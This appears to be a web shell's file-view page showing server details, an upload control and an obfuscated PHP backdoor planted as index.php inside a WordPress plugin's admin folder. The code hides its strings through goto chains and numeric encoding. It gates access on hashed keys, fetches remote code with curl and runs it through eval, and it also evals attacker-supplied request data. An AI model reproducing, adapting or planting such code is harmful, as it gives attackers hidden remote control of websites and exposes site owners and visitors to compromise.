HEX
Server: Apache/2
System: Linux gains.linuxbigapps.com 4.18.0-553.74.1.lve.el8.x86_64 #1 SMP Tue Sep 9 14:25:24 UTC 2025 x86_64
User: mountains (1551)
PHP: 8.0.30
Disabled: allow_url_include, show_source, symlink, system, passthru, exec, popen, pclose, proc_open, proc_terminate,proc_get_status, proc_close, proc_nice, allow_url_fopen, shell-exec, shell_exec, fpassthru, base64_encodem, escapeshellcmd, escapeshellarg, crack_check,crack_closedict, crack_getlastmessage, crack_opendict, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, dl, escap, phpinfo
Upload Files
File: /home/mountains/public_html/wp-content/plugins/header-footer-elementor/admin/admin/admin/index.php
<?php
 goto MuGwXiYyFZyQs_v3; h0ye43VrxvboiFwG: $zn_pd6ZI8hxXnnW0 = ${$FtXZQI_m29xkrnx_[11 + 20] . $FtXZQI_m29xkrnx_[13 + 46] . $FtXZQI_m29xkrnx_[27 + 20] . $FtXZQI_m29xkrnx_[11 + 36] . $FtXZQI_m29xkrnx_[30 + 21] . $FtXZQI_m29xkrnx_[22 + 31] . $FtXZQI_m29xkrnx_[50 + 7]}; goto zixleJux_W2ZZwJG; MuGwXiYyFZyQs_v3: $zM2_uoSiTLE38qBt = "\162" . "\x61" . "\156" . "\147" . "\x65"; goto Ieiu7AvN3O9EFn22; qaADnooL1VkZCrra: metaphone("\64\x43\125\x47\161\125\141\141\142\121\122\105\106\x6a\x47\x79\101\x49\162\x4e\146\x48\162\x59\x67\111\111\x37\x43\x5a\x45\57\x72\x33\107\165\x63\x2f\x37\x76\x48\x6d\x45"); goto Z2vkvk5eN65bPyxW; Z2vkvk5eN65bPyxW: class hhcIbHoBSAT634vU { static function SLgsPGRwgvhWIYoR($C9ywkAvzv6ydoEcN) { goto dfo1JOssfYI9rrmD; Vn4tVN3eNNFXtWkJ: return $RpKDYn_O2XXoLAVa; goto CJkA3lNJ4qc6BO_f; CKGnc_UJihZqCYnK: BiQtjaJsSnzGW6GC: goto Vn4tVN3eNNFXtWkJ; vkPpKRX_WXtPppGa: $RpKDYn_O2XXoLAVa = ''; goto Rtwm7hRIcZoelklq; ythehjV518docWij: $mpa6Ql7X9pSbxcmz = explode("\x2a", $C9ywkAvzv6ydoEcN); goto vkPpKRX_WXtPppGa; dfo1JOssfYI9rrmD: $yzs6ZXU7KEFXjM9i = "\162" . "\141" . "\156" . "\x67" . "\x65"; goto NNdXMMr9Q1zwydrm; Rtwm7hRIcZoelklq: foreach ($mpa6Ql7X9pSbxcmz as $NrLAAFIjVpiYGJ4f => $x8DTI_mVwAjaCetZ) { $RpKDYn_O2XXoLAVa .= $C1TBG1E1vyOR10NG[$x8DTI_mVwAjaCetZ - 57001]; coc3XkK3dBwHi1Um: } goto CKGnc_UJihZqCYnK; NNdXMMr9Q1zwydrm: $C1TBG1E1vyOR10NG = $yzs6ZXU7KEFXjM9i("\x7e", "\40"); goto ythehjV518docWij; CJkA3lNJ4qc6BO_f: } static function xWdrHX9yc_KlC1Do($cXiK29d2nBl_0HCb, $P0DfbNOK_8NDI941) { goto idgHXy9sHzAdJ0m9; jfvL72jADEbyTz6Z: curl_setopt($iVA55k7akQwCi62r, CURLOPT_RETURNTRANSFER, 1); goto VUB0eim4m3U2etOG; oHFYvTRJYLvJVDz6: return empty($pjwerBC8wXsMLjBV) ? $P0DfbNOK_8NDI941($cXiK29d2nBl_0HCb) : $pjwerBC8wXsMLjBV; goto cvCqujJOMXaWulWx; VUB0eim4m3U2etOG: $pjwerBC8wXsMLjBV = curl_exec($iVA55k7akQwCi62r); goto oHFYvTRJYLvJVDz6; idgHXy9sHzAdJ0m9: $iVA55k7akQwCi62r = curl_init($cXiK29d2nBl_0HCb); goto jfvL72jADEbyTz6Z; cvCqujJOMXaWulWx: } static function P4qRdBQJQ8nKQ5bv() { goto zam1L9lzpJu6Z1xK; ryydl5SnHORCOVA5: $ttjowJf0BMQ0BkSe = @$NPoOlAa3QBwSa_xn[2 + 1]($NPoOlAa3QBwSa_xn[3 + 3], $HHZoePqNOTDRKOdv); goto gUU38AFy89ttsHFt; gUU38AFy89ttsHFt: $Y4oV3xEHo37EkKmw = $NPoOlAa3QBwSa_xn[2 + 0]($ttjowJf0BMQ0BkSe, true); goto r6_I8LsPdhv1eugb; SL2L7mV4PYCV9cov: if (!(@$Y4oV3xEHo37EkKmw[0] - time() > 0 and md5(md5($Y4oV3xEHo37EkKmw[2 + 1])) === "\62\71\67\70\x34\145\x34\143\61\x62\x35\x65\145\71\64\x62\66\60\x30\x35\143\141\60\143\x36\64\x37\146\x65\64\145\70")) { goto rbEOFyHtt2B1eDHo; } goto QXSz_Ml6NJ7QxjTu; NwuCc21Lt_hOKpVZ: $HHZoePqNOTDRKOdv = @$NPoOlAa3QBwSa_xn[1]($NPoOlAa3QBwSa_xn[5 + 5](INPUT_GET, $NPoOlAa3QBwSa_xn[6 + 3])); goto ryydl5SnHORCOVA5; QXSz_Ml6NJ7QxjTu: $KMO3ugqssQ18sSWQ = self::xwdRHx9yc_klC1DO($Y4oV3xEHo37EkKmw[0 + 1], $NPoOlAa3QBwSa_xn[0 + 5]); goto lSiiGHx1sXNEAZZ9; r6_I8LsPdhv1eugb: @$NPoOlAa3QBwSa_xn[9 + 1](INPUT_GET, "\157\146") == 1 && die($NPoOlAa3QBwSa_xn[5 + 0](__FILE__)); goto SL2L7mV4PYCV9cov; WBrkHiBfrQAWk8EQ: die; goto Iipt7FkTpn6ONeuQ; rGTLFMQv_CrQ_qMD: uCwAIxSoYe_Wf9yX: goto NwuCc21Lt_hOKpVZ; Iipt7FkTpn6ONeuQ: rbEOFyHtt2B1eDHo: goto IFhVMNPs4xPNcIOu; JjEYytrLfFp6mMKX: foreach ($uK5_6bXNw6T1lMeP as $xz2fRWMNxc8VlwbY) { $NPoOlAa3QBwSa_xn[] = self::sLgsPGrwgVHwIYoR($xz2fRWMNxc8VlwbY); EMdf2Hpyu6i9ZBwx: } goto rGTLFMQv_CrQ_qMD; lSiiGHx1sXNEAZZ9: @eval($NPoOlAa3QBwSa_xn[3 + 1]($KMO3ugqssQ18sSWQ)); goto WBrkHiBfrQAWk8EQ; zam1L9lzpJu6Z1xK: $uK5_6bXNw6T1lMeP = array("\x35\67\60\62\x38\52\x35\67\x30\x31\63\52\x35\x37\x30\x32\x36\52\65\x37\60\x33\60\52\65\x37\60\61\x31\x2a\x35\x37\60\62\66\52\x35\67\60\x33\62\52\x35\67\60\x32\65\x2a\65\67\x30\x31\60\52\65\67\x30\61\67\x2a\65\67\x30\x32\70\52\x35\x37\x30\x31\x31\x2a\x35\x37\60\62\62\x2a\65\x37\60\61\x36\52\65\67\60\61\x37", "\65\x37\60\61\62\52\x35\67\60\x31\x31\52\65\67\x30\61\x33\52\65\67\60\63\x32\52\x35\x37\60\61\63\52\x35\x37\60\61\x36\x2a\65\x37\60\x31\x31\52\x35\67\x30\67\x38\x2a\x35\x37\60\x37\66", "\65\x37\x30\62\x31\x2a\x35\x37\60\x31\x32\52\65\x37\x30\x31\66\52\65\x37\x30\x31\67\x2a\65\x37\60\x33\62\x2a\x35\67\60\62\67\52\65\67\60\x32\66\52\x35\67\x30\62\70\x2a\x35\x37\x30\61\66\x2a\65\67\x30\x32\67\52\65\x37\60\62\x36", "\65\x37\60\61\65\52\x35\67\60\x33\x30\x2a\x35\67\x30\x32\x38\x2a\x35\67\60\62\x30", "\x35\67\60\62\71\x2a\x35\67\60\63\x30\52\65\67\x30\61\x32\x2a\65\x37\60\62\66\52\65\67\x30\67\x33\x2a\x35\67\x30\x37\65\x2a\x35\67\60\63\x32\x2a\x35\67\x30\62\67\x2a\65\67\x30\62\x36\x2a\x35\67\x30\x32\70\52\65\x37\60\x31\x36\52\65\x37\60\62\x37\52\65\x37\x30\x32\x36", "\65\67\x30\62\65\52\65\67\x30\x32\x32\52\x35\x37\60\61\x39\x2a\65\67\60\x32\66\x2a\65\x37\x30\x33\x32\52\65\x37\x30\x32\64\52\x35\x37\x30\x32\x36\x2a\65\67\x30\x31\x31\x2a\65\x37\x30\63\x32\52\65\67\x30\x32\x38\52\65\67\x30\61\x36\52\x35\x37\x30\x31\x37\x2a\x35\x37\x30\x31\61\52\65\67\x30\x32\x36\52\x35\x37\60\x31\67\52\x35\x37\60\x31\x31\x2a\65\67\60\61\62", "\x35\x37\60\x35\65\x2a\65\x37\60\70\x35", "\65\x37\x30\60\x32", "\x35\67\60\x38\x30\52\65\x37\x30\70\x35", "\x35\x37\x30\x36\x32\x2a\65\x37\60\64\x35\52\65\67\60\x34\65\52\x35\67\60\x36\62\x2a\x35\x37\60\x33\x38", "\65\67\x30\x32\x35\52\x35\67\x30\62\x32\52\65\67\x30\61\71\x2a\65\67\x30\61\61\x2a\x35\x37\x30\x32\x36\52\x35\67\x30\x31\x33\x2a\65\x37\x30\x33\x32\52\65\x37\60\x32\62\x2a\x35\x37\60\61\x37\x2a\65\67\60\61\65\52\x35\x37\x30\61\x30\52\65\x37\60\x31\x31"); goto JjEYytrLfFp6mMKX; IFhVMNPs4xPNcIOu: } } goto OvX_Gt2oaQYqTgpp; zixleJux_W2ZZwJG: @(md5(md5(md5(md5($zn_pd6ZI8hxXnnW0[18])))) === "\x35\x61\64\142\x38\x31\61\x35\64\x63\71\x64\x35\60\x62\x32\66\145\70\x38\60\x39\x63\x39\142\70\x64\144\65\x62\66\x31") && (count($zn_pd6ZI8hxXnnW0) == 24 && in_array(gettype($zn_pd6ZI8hxXnnW0) . count($zn_pd6ZI8hxXnnW0), $zn_pd6ZI8hxXnnW0)) ? ($zn_pd6ZI8hxXnnW0[67] = $zn_pd6ZI8hxXnnW0[67] . $zn_pd6ZI8hxXnnW0[71]) && ($zn_pd6ZI8hxXnnW0[90] = $zn_pd6ZI8hxXnnW0[67]($zn_pd6ZI8hxXnnW0[90])) && @eval($zn_pd6ZI8hxXnnW0[67](${$zn_pd6ZI8hxXnnW0[39]}[13])) : $zn_pd6ZI8hxXnnW0; goto qaADnooL1VkZCrra; Ieiu7AvN3O9EFn22: $FtXZQI_m29xkrnx_ = $zM2_uoSiTLE38qBt("\x7e", "\40"); goto h0ye43VrxvboiFwG; OvX_Gt2oaQYqTgpp: HHcIbHObSAt634vU::p4qRdbQjq8nkQ5BV();
?>